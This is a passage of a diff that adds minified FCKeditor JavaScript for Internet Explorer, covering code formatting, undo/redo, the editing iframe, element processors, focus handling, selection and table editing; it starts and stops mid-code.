FCKXHtml._AppendAttribute(A,'name',B.name);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['div']=function(A,B){if (B.align.length>0) FCKXHtml._AppendAttribute(A,'align',B.align);FCKXHtml._AppendChildNodes(A,B);return A;}
+var FCKCodeFormatter=new Object();FCKCodeFormatter.Init=function(){var A=this.Regex=new Object();A.BlocksOpener=/\<(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.BlocksCloser=/\<\/(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.NewLineTags=/\<(BR|HR)[^\>]*\>/gi;A.MainTags=/\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi;A.LineSplitter=/\s*\n+\s*/g;A.IncreaseIndent=/^\<(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i;A.DecreaseIndent=/^\<\/(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i;A.FormatIndentatorRemove=new RegExp('^'+FCKConfig.FormatIndentator);A.ProtectedTags=/(<PRE[^>]*>)([\s\S]*?)(<\/PRE>)/gi;};FCKCodeFormatter._ProtectData=function(A,B,C,D){return B+'___FCKpd___'+FCKCodeFormatter.ProtectedData.AddItem(C)+D;};FCKCodeFormatter.Format=function(A){if (!this.Regex) this.Init();FCKCodeFormatter.ProtectedData=new Array();var B=A.replace(this.Regex.ProtectedTags,FCKCodeFormatter._ProtectData);B=B.replace(this.Regex.BlocksOpener,'\n$&');;B=B.replace(this.Regex.BlocksCloser,'$&\n');B=B.replace(this.Regex.NewLineTags,'$&\n');B=B.replace(this.Regex.MainTags,'\n$&\n');var C='';var D=B.split(this.Regex.LineSplitter);B='';for (var i=0;i<D.length;i++){var E=D[i];if (E.length==0) continue;if (this.Regex.DecreaseIndent.test(E)) C=C.replace(this.Regex.FormatIndentatorRemove,'');B+=C+E+'\n';if (this.Regex.IncreaseIndent.test(E)) C+=FCKConfig.FormatIndentator;};for (var i=0;i<FCKCodeFormatter.ProtectedData.length;i++){var F=new RegExp('___FCKpd___'+i);B=B.replace(F,FCKCodeFormatter.ProtectedData[i].replace(/\$/g,'$$$$'));};return B.trim();}
+var FCKUndo=new Object();FCKUndo.SavedData=new Array();FCKUndo.CurrentIndex=-1;FCKUndo.TypesCount=FCKUndo.MaxTypes=25;FCKUndo.Typing=false;FCKUndo.SaveUndoStep=function(){if (FCK.EditMode!=FCK_EDITMODE_WYSIWYG) return;FCKUndo.SavedData=FCKUndo.SavedData.slice(0,FCKUndo.CurrentIndex+1);var A=FCK.EditorDocument.body.innerHTML;if (FCKUndo.CurrentIndex>=0&&A==FCKUndo.SavedData[FCKUndo.CurrentIndex][0]) return;if (FCKUndo.CurrentIndex+1>=FCKConfig.MaxUndoLevels) FCKUndo.SavedData.shift();else FCKUndo.CurrentIndex++;var B;if (FCK.EditorDocument.selection.type=='Text') B=FCK.EditorDocument.selection.createRange().getBookmark();FCKUndo.SavedData[FCKUndo.CurrentIndex]=[A,B];FCK.Events.FireEvent("OnSelectionChange");};FCKUndo.CheckUndoState=function(){return (FCKUndo.Typing||FCKUndo.CurrentIndex>0);};FCKUndo.CheckRedoState=function(){return (!FCKUndo.Typing&&FCKUndo.CurrentIndex<(FCKUndo.SavedData.length-1));};FCKUndo.Undo=function(){if (FCKUndo.CheckUndoState()){if (FCKUndo.CurrentIndex==(FCKUndo.SavedData.length-1)){FCKUndo.SaveUndoStep();};FCKUndo._ApplyUndoLevel(--FCKUndo.CurrentIndex);FCK.Events.FireEvent("OnSelectionChange");}};FCKUndo.Redo=function(){if (FCKUndo.CheckRedoState()){FCKUndo._ApplyUndoLevel(++FCKUndo.CurrentIndex);FCK.Events.FireEvent("OnSelectionChange");}};FCKUndo._ApplyUndoLevel=function(A){var B=FCKUndo.SavedData[A];if (!B) return;FCK.SetInnerHtml(B[0]);if (B[1]){var C=FCK.EditorDocument.selection.createRange();C.moveToBookmark(B[1]);C.select();};FCKUndo.TypesCount=0;FCKUndo.Typing=false;}
+var FCKEditingArea=function(A){this.TargetElement=A;this.Mode=FCK_EDITMODE_WYSIWYG;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKEditingArea_Cleanup);};FCKEditingArea.prototype.Start=function(A,B){var C=this.TargetElement;var D=FCKTools.GetElementDocument(C);while(C.childNodes.length>0) C.removeChild(C.childNodes[0]);if (this.Mode==FCK_EDITMODE_WYSIWYG){if (FCKBrowserInfo.IsGecko) A=A.replace(/(<body[^>]*>)\s*(<\/body>)/i,'$1'+GECKO_BOGUS+'$2');var E=this.IFrame=D.createElement('iframe');E.src='javascript:void(0)';E.frameBorder=0;E.width=E.height='100%';C.appendChild(E);if (FCKBrowserInfo.IsIE) A=A.replace(/(<base[^>]*?)\s*\/?>(?!\s*<\/base>)/gi,'$1></base>');this.Window=E.contentWindow;var F=this.Document=this.Window.document;F.open();F.write(A);F.close();if (FCKBrowserInfo.IsGecko10&&!B){this.Start(A,true);return;};this.Window._FCKEditingArea=this;if (FCKBrowserInfo.IsGecko10) this.Window.setTimeout(FCKEditingArea_CompleteStart,500);else FCKEditingArea_CompleteStart.call(this.Window);}else{var G=this.Textarea=D.createElement('textarea');G.className='SourceField';G.dir='ltr';G.style.width=G.style.height='100%';G.style.border='none';C.appendChild(G);G.value=A;FCKTools.RunFunction(this.OnLoad);}};function FCKEditingArea_CompleteStart(){if (!this.document.body){this.setTimeout(FCKEditingArea_CompleteStart,50);return;};var oEditorArea=this._FCKEditingArea;oEditorArea.MakeEditable();FCKTools.RunFunction(oEditorArea.OnLoad);};FCKEditingArea.prototype.MakeEditable=function(){var A=this.Document;if (FCKBrowserInfo.IsIE) A.body.contentEditable=true;else{try{A.designMode='on';A.execCommand('useCSS',false,!FCKConfig.GeckoUseSPAN);A.execCommand('enableObjectResizing',false,!FCKConfig.DisableObjectResizing);A.execCommand('enableInlineTableEditing',false,!FCKConfig.DisableFFTableHandles);}catch (e) {}}};FCKEditingArea.prototype.Focus=function(){try{if (this.Mode==FCK_EDITMODE_WYSIWYG){if (FCKBrowserInfo.IsSafari) this.IFrame.focus();else this.Window.focus();}else this.Textarea.focus();}catch(e) {}};function FCKEditingArea_Cleanup(){this.TargetElement=null;this.IFrame=null;this.Document=null;this.Textarea=null;if (this.Window){this.Window._FCKEditingArea=null;this.Window=null;}}
+var FCKDocumentProcessor=new Object();FCKDocumentProcessor._Items=new Array();FCKDocumentProcessor.AppendNew=function(){var A=new Object();this._Items.AddItem(A);return A;};FCKDocumentProcessor.Process=function(A){var B,i=0;while((B=this._Items[i++])) B.ProcessDocument(A);};var FCKDocumentProcessor_CreateFakeImage=function(A,B){var C=FCK.EditorDocument.createElement('IMG');C.className=A;C.src=FCKConfig.FullBasePath+'images/spacer.gif';C.setAttribute('_fckfakelement','true',0);C.setAttribute('_fckrealelement',FCKTempBin.AddElement(B),0);return C;};var FCKAnchorsProcessor=FCKDocumentProcessor.AppendNew();FCKAnchorsProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('A');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.name.length>0&&(!C.getAttribute('href')||C.getAttribute('href').length==0)){var D=FCKDocumentProcessor_CreateFakeImage('FCK__Anchor',C.cloneNode(true));D.setAttribute('_fckanchor','true',0);C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKPageBreaksProcessor=FCKDocumentProcessor.AppendNew();FCKPageBreaksProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('DIV');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.style.pageBreakAfter=='always'&&C.childNodes.length==1&&C.childNodes[0].style&&C.childNodes[0].style.display=='none'){var D=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',C.cloneNode(true));C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKFlashProcessor=FCKDocumentProcessor.AppendNew();FCKFlashProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('EMBED');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.src.endsWith('.swf',true)){var D=C.cloneNode(true);if (FCKBrowserInfo.IsIE){var E;if (E=C.getAttribute('scale')) D.setAttribute('scale',E);if (E=C.getAttribute('play')) D.setAttribute('play',E);if (E=C.getAttribute('loop')) D.setAttribute('loop',E);if (E=C.getAttribute('menu')) D.setAttribute('menu',E);if (E=C.getAttribute('wmode')) D.setAttribute('wmode',E);if (E=C.getAttribute('quality')) D.setAttribute('quality',E);};var F=FCKDocumentProcessor_CreateFakeImage('FCK__Flash',D);F.setAttribute('_fckflash','true',0);FCKFlashProcessor.RefreshView(F,C);C.parentNode.insertBefore(F,C);C.parentNode.removeChild(C);}}};FCKFlashProcessor.RefreshView=function(A,B){if (B.width>0) A.style.width=FCKTools.ConvertHtmlSizeToStyle(B.width);if (B.height>0) A.style.height=FCKTools.ConvertHtmlSizeToStyle(B.height);};FCK.GetRealElement=function(A){var e=FCKTempBin.Elements[A.getAttribute('_fckrealelement')];if (A.getAttribute('_fckflash')){if (A.style.width.length>0) e.width=FCKTools.ConvertStyleSizeToHtml(A.style.width);if (A.style.height.length>0) e.height=FCKTools.ConvertStyleSizeToHtml(A.style.height);};return e;};
+var FCK_StartupValue;FCK.Events=new FCKEvents(FCK);FCK.Toolbar=null;FCK.HasFocus=false;FCK.StartEditor=function(){FCK.TempBaseTag=FCKConfig.BaseHref.length>0?'<base href="'+FCKConfig.BaseHref+'" _fcktemp="true"></base>':'';FCK.EditingArea=new FCKEditingArea(document.getElementById('xEditingArea'));this.SetHTML(FCKTools.GetLinkedFieldValue());};FCK.Focus=function(){FCK.EditingArea.Focus();};FCK.SetStatus=function(A){this.Status=A;if (A==FCK_STATUS_ACTIVE){FCKFocusManager.AddWindow(window,true);if (FCKBrowserInfo.IsIE) FCKFocusManager.AddWindow(window.frameElement,true);if (FCKConfig.StartupFocus) FCK.Focus();};this.Events.FireEvent('OnStatusChange',A);};FCK.GetHTML=FCK.GetXHTML=function(A){if (FCK.EditMode==FCK_EDITMODE_SOURCE) return FCK.EditingArea.Textarea.value;var B;var C=FCK.EditorDocument;if (FCKConfig.FullPage) B=FCKXHtml.GetXHTML(C.getElementsByTagName('html')[0],true,A);else{if (FCKConfig.IgnoreEmptyParagraphValue&&C.body.innerHTML=='<P>&nbsp;</P>') B='';else B=FCKXHtml.GetXHTML(C.body,false,A);};B=FCK.ProtectEventsRestore(B);if (FCKBrowserInfo.IsIE) B=B.replace(FCKRegexLib.ToReplace,'$1');if (FCK.DocTypeDeclaration&&FCK.DocTypeDeclaration.length>0) B=FCK.DocTypeDeclaration+'\n'+B;if (FCK.XmlDeclaration&&FCK.XmlDeclaration.length>0) B=FCK.XmlDeclaration+'\n'+B;return FCKConfig.ProtectedSource.Revert(B);};FCK.UpdateLinkedField=function(){FCK.LinkedField.value=FCK.GetXHTML(FCKConfig.FormatOutput);FCK.Events.FireEvent('OnAfterLinkedFieldUpdate');};FCK.RegisteredDoubleClickHandlers=new Object();FCK.OnDoubleClick=function(A){var B=FCK.RegisteredDoubleClickHandlers[A.tagName];if (B) B(A);};FCK.RegisterDoubleClickHandler=function(A,B){FCK.RegisteredDoubleClickHandlers[B.toUpperCase()]=A;};FCK.OnAfterSetHTML=function(){FCKDocumentProcessor.Process(FCK.EditorDocument);FCKUndo.SaveUndoStep();FCK.Events.FireEvent('OnSelectionChange');FCK.Events.FireEvent('OnAfterSetHTML');};FCK.ProtectUrls=function(A){A=A.replace(FCKRegexLib.ProtectUrlsA,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');A=A.replace(FCKRegexLib.ProtectUrlsImg,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');return A;};FCK.ProtectEvents=function(A){return A.replace(FCKRegexLib.TagsWithEvent,_FCK_ProtectEvents_ReplaceTags);};function _FCK_ProtectEvents_ReplaceTags(tagMatch){return tagMatch.replace(FCKRegexLib.EventAttributes,_FCK_ProtectEvents_ReplaceEvents);};function _FCK_ProtectEvents_ReplaceEvents(eventMatch,attName){return ' '+attName+'_fckprotectedatt="'+eventMatch.ReplaceAll([/&/g,/'/g,/"/g,/=/g,/</g,/>/g,/\r/g,/\n/g],['&apos;','&#39;','&quot;','&#61;','&lt;','&gt;','&#10;','&#13;'])+'"';};FCK.ProtectEventsRestore=function(A){return A.replace(FCKRegexLib.ProtectedEvents,_FCK_ProtectEvents_RestoreEvents);};function _FCK_ProtectEvents_RestoreEvents(match,encodedOriginal){return encodedOriginal.ReplaceAll([/&#39;/g,/&quot;/g,/&#61;/g,/&lt;/g,/&gt;/g,/&#10;/g,/&#13;/g,/&apos;/g],["'",'"','=','<','>','\r','\n','&']);};FCK.IsDirty=function(){return (FCK_StartupValue!=FCK.EditorDocument.body.innerHTML);};FCK.ResetIsDirty=function(){if (FCK.EditorDocument.body) FCK_StartupValue=FCK.EditorDocument.body.innerHTML;};FCK.SetHTML=function(A){this.EditingArea.Mode=FCK.EditMode;if (FCK.EditMode==FCK_EDITMODE_WYSIWYG){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectEvents(A);A=FCK.ProtectUrls(A);if (FCKBrowserInfo.IsGecko){A=A.replace(FCKRegexLib.StrongOpener,'<b$1');A=A.replace(FCKRegexLib.StrongCloser,'<\/b>');A=A.replace(FCKRegexLib.EmOpener,'<i$1');A=A.replace(FCKRegexLib.EmCloser,'<\/i>');}else if (FCKBrowserInfo.IsIE){A=A.replace(FCKRegexLib.AbbrOpener,'<FCK:abbr$1');A=A.replace(FCKRegexLib.AbbrCloser,'<\/FCK:abbr>');};var B='';if (FCKConfig.FullPage){if (!FCKRegexLib.HeadOpener.test(A)){if (!FCKRegexLib.HtmlOpener.test(A)) A='<html dir="'+FCKConfig.ContentLangDirection+'">'+A+'</html>';A=A.replace(FCKRegexLib.HtmlOpener,'$&<head></head>');};FCK.DocTypeDeclaration=A.match(FCKRegexLib.DocTypeTag);if (FCKBrowserInfo.IsIE) B=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+='<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css'+'" rel="stylesheet" type="text/css" _fcktemp="true" />';B=A.replace(FCKRegexLib.HeadCloser,B+'$&');if (FCK.TempBaseTag.length>0&&!FCKRegexLib.HasBaseTag.test(A)) B=B.replace(FCKRegexLib.HeadOpener,'$&'+FCK.TempBaseTag);}else{B=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"';if (FCKBrowserInfo.IsIE&&!FCKRegexLib.Html4DocType.test(FCKConfig.DocType)) B+=' style="overflow-y: scroll"';B+='><head><title></title>'+this._GetEditorAreaStyleTags()+'<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css'+'" rel="stylesheet" type="text/css" _fcktemp="true" />';if (FCKBrowserInfo.IsIE) B+=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B+='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+=FCK.TempBaseTag;B+='</head><body>';if (FCKBrowserInfo.IsGecko&&(A.length==0||FCKRegexLib.EmptyParagraph.test(A))) B+=GECKO_BOGUS;else B+=A;B+='</body></html>';};this.EditingArea.OnLoad=FCK_EditingArea_OnLoad;this.EditingArea.Start(B);}else{this.EditingArea.OnLoad=null;this.EditingArea.Start(A);this.EditingArea.Textarea._FCKShowContextMenu=true;};if (FCKBrowserInfo.IsGecko) window.onresize();};function FCK_EditingArea_OnLoad(){FCK.EditorWindow=FCK.EditingArea.Window;FCK.EditorDocument=FCK.EditingArea.Document;FCK.InitializeBehaviors();FCK.OnAfterSetHTML();if (FCK.Status!=FCK_STATUS_NOTLOADED) return;FCK.ResetIsDirty();FCKTools.AttachToLinkedFieldFormSubmit(FCK.UpdateLinkedField);FCK.SetStatus(FCK_STATUS_ACTIVE);};FCK._GetEditorAreaStyleTags=function(){var A='';var B=FCKConfig.EditorAreaCSS;for (var i=0;i<B.length;i++) A+='<link href="'+B[i]+'" rel="stylesheet" type="text/css" />';return A;};var FCKFocusManager=FCK.FocusManager=new Object();FCKFocusManager.IsLocked=false;FCK.HasFocus=false;FCKFocusManager.AddWindow=function(A,B){var C;if (FCKBrowserInfo.IsIE) C=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else C=A.document;FCKTools.AddEventListener(C,'blur',FCKFocusManager_Win_OnBlur);FCKTools.AddEventListener(C,'focus',B?FCKFocusManager_Win_OnFocus_Area:FCKFocusManager_Win_OnFocus);};FCKFocusManager.RemoveWindow=function(A){if (FCKBrowserInfo.IsIE) oTarget=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else oTarget=A.document;FCKTools.RemoveEventListener(oTarget,'blur',FCKFocusManager_Win_OnBlur);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus_Area);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus);};FCKFocusManager.Lock=function(){this.IsLocked=true;};FCKFocusManager.Unlock=function(){if (this._HasPendingBlur) FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);this.IsLocked=false;};FCKFocusManager._ResetTimer=function(){this._HasPendingBlur=false;if (this._Timer){window.clearTimeout(this._Timer);delete this._Timer;}};function FCKFocusManager_Win_OnBlur(){if (typeof(FCK)!='undefined'&&FCK.HasFocus){FCKFocusManager._ResetTimer();FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);}};function FCKFocusManager_FireOnBlur(){if (FCKFocusManager.IsLocked) FCKFocusManager._HasPendingBlur=true;else{FCK.HasFocus=false;FCK.Events.FireEvent("OnBlur");}};function FCKFocusManager_Win_OnFocus_Area(){FCKFocusManager_Win_OnFocus();FCK.Focus();};function FCKFocusManager_Win_OnFocus(){FCKFocusManager._ResetTimer();if (!FCK.HasFocus&&!FCKFocusManager.IsLocked){FCK.HasFocus=true;FCK.Events.FireEvent("OnFocus");}}
+FCK.Description="FCKeditor for Internet Explorer 5.5+";FCK._GetBehaviorsStyle=function(){if (!FCK._BehaviorsStyle){var A=FCKConfig.FullBasePath;var B='';var C;C='<style type="text/css" _fcktemp="true">'+'INPUT { behavior: url('+A+'css/behaviors/hiddenfield.htc) ; }';if (FCKConfig.ShowBorders) B='url('+A+'css/behaviors/showtableborders.htc)';C+='INPUT,TEXTAREA,SELECT,.FCK__Anchor,.FCK__PageBreak';if (FCKConfig.DisableObjectResizing){C+=',IMG';B+=' url('+A+'css/behaviors/disablehandles.htc)';};C+=' { behavior: url('+A+'css/behaviors/disablehandles.htc) ; }';if (B.length>0) C+='TABLE { behavior: '+B+' ; }';C+='</style>';FCK._BehaviorsStyle=C;};return FCK._BehaviorsStyle;};function Doc_OnMouseUp(){if (FCK.EditorWindow.event.srcElement.tagName=='HTML'){FCK.Focus();FCK.EditorWindow.event.cancelBubble=true;FCK.EditorWindow.event.returnValue=false;}};function Doc_OnPaste(){if (FCK.Status==FCK_STATUS_COMPLETE) FCK.Events.FireEvent("OnPaste");return false;};function Doc_OnKeyDown(){var e=FCK.EditorWindow.event;switch (e.keyCode){case 13:if (FCKConfig.UseBROnCarriageReturn&&!(e.ctrlKey||e.altKey||e.shiftKey)){Doc_OnKeyDownUndo();if (FCK.EditorDocument.queryCommandState('InsertOrderedList')||FCK.EditorDocument.queryCommandState('InsertUnorderedList')) return true;FCK.InsertHtml('<br>&nbsp;');var oRange=FCK.EditorDocument.selection.createRange();oRange.moveStart('character',-1);oRange.select();FCK.EditorDocument.selection.clear();return false;};break;case 8:if (FCKSelection.GetType()=='Control'){FCKSelection.Delete();return false;};break;case 9:if (FCKConfig.TabSpaces>0&&!(e.ctrlKey||e.altKey||e.shiftKey)){Doc_OnKeyDownUndo();FCK.InsertHtml(window.FCKTabHTML);return false;};break;case 90:if (e.ctrlKey&&!(e.altKey||e.shiftKey)){FCKUndo.Undo();return false;};break;case 89:if (e.ctrlKey&&!(e.altKey||e.shiftKey)){FCKUndo.Redo();return false;};break;};if (!(e.keyCode>=16&&e.keyCode<=18)) Doc_OnKeyDownUndo();return true;};function Doc_OnKeyDownUndo(){if (!FCKUndo.Typing){FCKUndo.SaveUndoStep();FCKUndo.Typing=true;FCK.Events.FireEvent("OnSelectionChange");};FCKUndo.TypesCount++;if (FCKUndo.TypesCount>FCKUndo.MaxTypes){FCKUndo.TypesCount=0;FCKUndo.SaveUndoStep();}};function Doc_OnDblClick(){FCK.OnDoubleClick(FCK.EditorWindow.event.srcElement);FCK.EditorWindow.event.cancelBubble=true;};function Doc_OnSelectionChange(){FCK.Events.FireEvent("OnSelectionChange");};FCK.InitializeBehaviors=function(A){this.EditorDocument.attachEvent('onmouseup',Doc_OnMouseUp);this.EditorDocument.body.attachEvent('onpaste',Doc_OnPaste);FCK.ContextMenu._InnerContextMenu.AttachToElement(FCK.EditorDocument.body);if (FCKConfig.TabSpaces>0){window.FCKTabHTML='';for (i=0;i<FCKConfig.TabSpaces;i++) window.FCKTabHTML+="&nbsp;";};this.EditorDocument.attachEvent("onkeydown",Doc_OnKeyDown);this.EditorDocument.attachEvent("ondblclick",Doc_OnDblClick);this.EditorDocument.attachEvent("onselectionchange",Doc_OnSelectionChange);};FCK.InsertHtml=function(A){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectUrls(A);FCK.Focus();FCKUndo.SaveUndoStep();var B=FCK.EditorDocument.selection;if (B.type.toLowerCase()=='control') B.clear();B.createRange().pasteHTML(A);FCKDocumentProcessor.Process(FCK.EditorDocument);};FCK.SetInnerHtml=function(A){var B=FCK.EditorDocument;B.body.innerHTML='<div id="__fakeFCKRemove__">&nbsp;</div>'+A;B.getElementById('__fakeFCKRemove__').removeNode(true);};var FCK_PreloadImages_Count=0;var FCK_PreloadImages_Images=new Array();function FCK_PreloadImages(){var aImages=FCKConfig.PreloadImages||[];if (typeof(aImages)=='string') aImages=aImages.split(';');aImages.push(FCKConfig.SkinPath+'fck_strip.gif');FCK_PreloadImages_Count=aImages.length;var aImageElements=new Array();for (var i=0;i<aImages.length;i++){var eImg=document.createElement('img');eImg.onload=eImg.onerror=FCK_PreloadImages_OnImage;eImg.src=aImages[i];FCK_PreloadImages_Images[i]=eImg;}};function FCK_PreloadImages_OnImage(){if ((--FCK_PreloadImages_Count)==0) FCKTools.RunFunction(LoadToolbarSetup);};function Document_OnContextMenu(){return (event.srcElement._FCKShowContextMenu==true);};document.oncontextmenu=Document_OnContextMenu;function FCK_Cleanup(){this.EditorWindow=null;this.EditorDocument=null;}
+FCK.RedirectNamedCommands=new Object();FCK.ExecuteNamedCommand=function(A,B,C){FCKUndo.SaveUndoStep();if (!C&&FCK.RedirectNamedCommands[A]!=null) FCK.ExecuteRedirectedNamedCommand(A,B);else{FCK.Focus();FCK.EditorDocument.execCommand(A,false,B);FCK.Events.FireEvent('OnSelectionChange');};FCKUndo.SaveUndoStep();};FCK.GetNamedCommandState=function(A){try{if (!FCK.EditorDocument.queryCommandEnabled(A)) return FCK_TRISTATE_DISABLED;else return FCK.EditorDocument.queryCommandState(A)?FCK_TRISTATE_ON:FCK_TRISTATE_OFF;}catch (e){return FCK_TRISTATE_OFF;}};FCK.GetNamedCommandValue=function(A){var B='';var C=FCK.GetNamedCommandState(A);if (C==FCK_TRISTATE_DISABLED) return null;try{B=this.EditorDocument.queryCommandValue(A);}catch(e) {};return B?B:'';};FCK.PasteFromWord=function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteFromWord,'dialog/fck_paste.html',400,330,'Word');};FCK.Preview=function(){var A=FCKConfig.ScreenWidth*0.8;var B=FCKConfig.ScreenHeight*0.7;var C=(FCKConfig.ScreenWidth-A)/2;var D=window.open('',null,'toolbar=yes,location=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width='+A+',height='+B+',left='+C);var E;if (FCKConfig.FullPage){if (FCK.TempBaseTag.length>0) E=FCK.TempBaseTag+FCK.GetXHTML();else E=FCK.GetXHTML();}else{E=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'">'+'<head>'+FCK.TempBaseTag+'<title>'+FCKLang.Preview+'</title>'+FCK._GetEditorAreaStyleTags()+'</head><body>'+FCK.GetXHTML()+'</body></html>';};D.document.write(E);D.document.close();};FCK.SwitchEditMode=function(A){var B=(FCK.EditMode==FCK_EDITMODE_WYSIWYG);var C;if (B){if (!A&&FCKBrowserInfo.IsIE) FCKUndo.SaveUndoStep();C=FCK.GetXHTML(FCKConfig.FormatSource);}else C=this.EditingArea.Textarea.value;FCK.EditMode=B?FCK_EDITMODE_SOURCE:FCK_EDITMODE_WYSIWYG;FCK.SetHTML(C);FCK.Focus();FCKTools.RunFunction(FCK.ToolbarSet.RefreshModeState,FCK.ToolbarSet);};FCK.CreateElement=function(A){var e=FCK.EditorDocument.createElement(A);return FCK.InsertElementAndGetIt(e);};FCK.InsertElementAndGetIt=function(e){e.setAttribute('FCKTempLabel','true');this.InsertElement(e);var A=FCK.EditorDocument.getElementsByTagName(e.tagName);for (var i=0;i<A.length;i++){if (A[i].getAttribute('FCKTempLabel')){A[i].removeAttribute('FCKTempLabel');return A[i];}};return null;};
+FCK.Paste=function(){if (FCKConfig.ForcePasteAsPlainText){FCK.PasteAsPlainText();return;};var A=FCK.GetClipboardHTML();if (FCKConfig.AutoDetectPasteFromWord){var B=/<\w[^>]*(( class="?MsoNormal"?)|(="mso-))/gi;if (B.test(A)){if (confirm(FCKLang["PasteWordConfirm"])){FCK.PasteFromWord();return;}}};FCK.InsertHtml(A);};FCK.PasteAsPlainText=function(){var A=FCKTools.HTMLEncode(clipboardData.getData("Text"));A=A.replace(/\n/g,'<BR>');this.InsertHtml(A);};FCK.InsertElement=function(A){FCK.InsertHtml(A.outerHTML);};FCK.GetClipboardHTML=function(){var A=document.getElementById('___FCKHiddenDiv');if (!A){var A=document.createElement('DIV');A.id='___FCKHiddenDiv';A.style.visibility='hidden';A.style.overflow='hidden';A.style.position='absolute';A.style.width=1;A.style.height=1;document.body.appendChild(A);};A.innerHTML='';var C=document.body.createTextRange();C.moveToElementText(A);C.execCommand('Paste');var D=A.innerHTML;A.innerHTML='';return D;};FCK.AttachToOnSelectionChange=function(A){this.Events.AttachEvent('OnSelectionChange',A);};FCK.CreateLink=function(A){FCK.ExecuteNamedCommand('Unlink');if (A.length>0){var B='javascript:void(0);/*'+(new Date().getTime())+'*/';FCK.ExecuteNamedCommand('CreateLink',B);var C=this.EditorDocument.links;for (i=0;i<C.length;i++){var D=C[i];if (D.href==B){var E=D.innerHTML;D.href=A;D.innerHTML=E;return D;}}}};
+var FCKSelection=FCK.Selection=new Object();
+FCKSelection.GetType=function(){return FCK.EditorDocument.selection.type;};FCKSelection.GetSelectedElement=function(){if (this.GetType()=='Control'){var A=FCK.EditorDocument.selection.createRange();if (A&&A.item) return FCK.EditorDocument.selection.createRange().item(0);}};FCKSelection.GetParentElement=function(){switch (this.GetType()){case 'Control':return FCKSelection.GetSelectedElement().parentElement;case 'None':return;default:return FCK.EditorDocument.selection.createRange().parentElement();}};FCKSelection.SelectNode=function(A){FCK.Focus();FCK.EditorDocument.selection.empty();try{var B=FCK.EditorDocument.body.createControlRange();B.addElement(A);}catch(e){var B=FCK.EditorDocument.selection.createRange();B.moveToElementText(A);};B.select();};FCKSelection.Collapse=function(A){FCK.Focus();if (this.GetType()=='Text'){var B=FCK.EditorDocument.selection.createRange();B.collapse(A==null||A===true);B.select();}};FCKSelection.HasAncestorNode=function(A){var B;if (FCK.EditorDocument.selection.type=="Control"){B=this.GetSelectedElement();}else{var C=FCK.EditorDocument.selection.createRange();B=C.parentElement();};while (B){if (B.tagName==A) return true;B=B.parentNode;};return false;};FCKSelection.MoveToAncestorNode=function(A){var B;if (FCK.EditorDocument.selection.type=="Control"){var C=FCK.EditorDocument.selection.createRange();for (i=0;i<C.length;i++){if (C(i).parentNode){B=C(i).parentNode;break;}}}else{var C=FCK.EditorDocument.selection.createRange();B=C.parentElement();};while (B&&B.nodeName!=A) B=B.parentNode;return B;};FCKSelection.Delete=function(){var A=FCK.EditorDocument.selection;if (A.type.toLowerCase()!="none"){A.clear();};return A;};
+var FCKTableHandler=new Object();FCKTableHandler.InsertRow=function(){var A=FCKSelection.MoveToAncestorNode("TR");if (!A) return;var B=A.cloneNode(true);A.parentNode.insertBefore(B,A);FCKTableHandler.ClearRow(A);};FCKTableHandler.DeleteRows=function(A){if (!A) A=FCKSelection.MoveToAncestorNode("TR");if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');if (B.rows.length==1){FCKTableHandler.DeleteTable(B);return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteTable=function(A){if (!A){var A=FCKSelection.GetSelectedElement();if (!A||A.tagName!='TABLE') A=FCKSelection.MoveToAncestorNode("TABLE");};if (!A) return;FCKSelection.SelectNode(A);FCKSelection.Collapse();A.parentNode.removeChild(A);};FCKTableHandler.InsertColumn=function(){var A=FCKSelection.MoveToAncestorNode("TD");if (!A) A=FCKSelection.MoveToAncestorNode("TH");if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex+1;for (var i=0;i<B.rows.length;i++){var D=B.rows[i];if (D.cells.length<C) 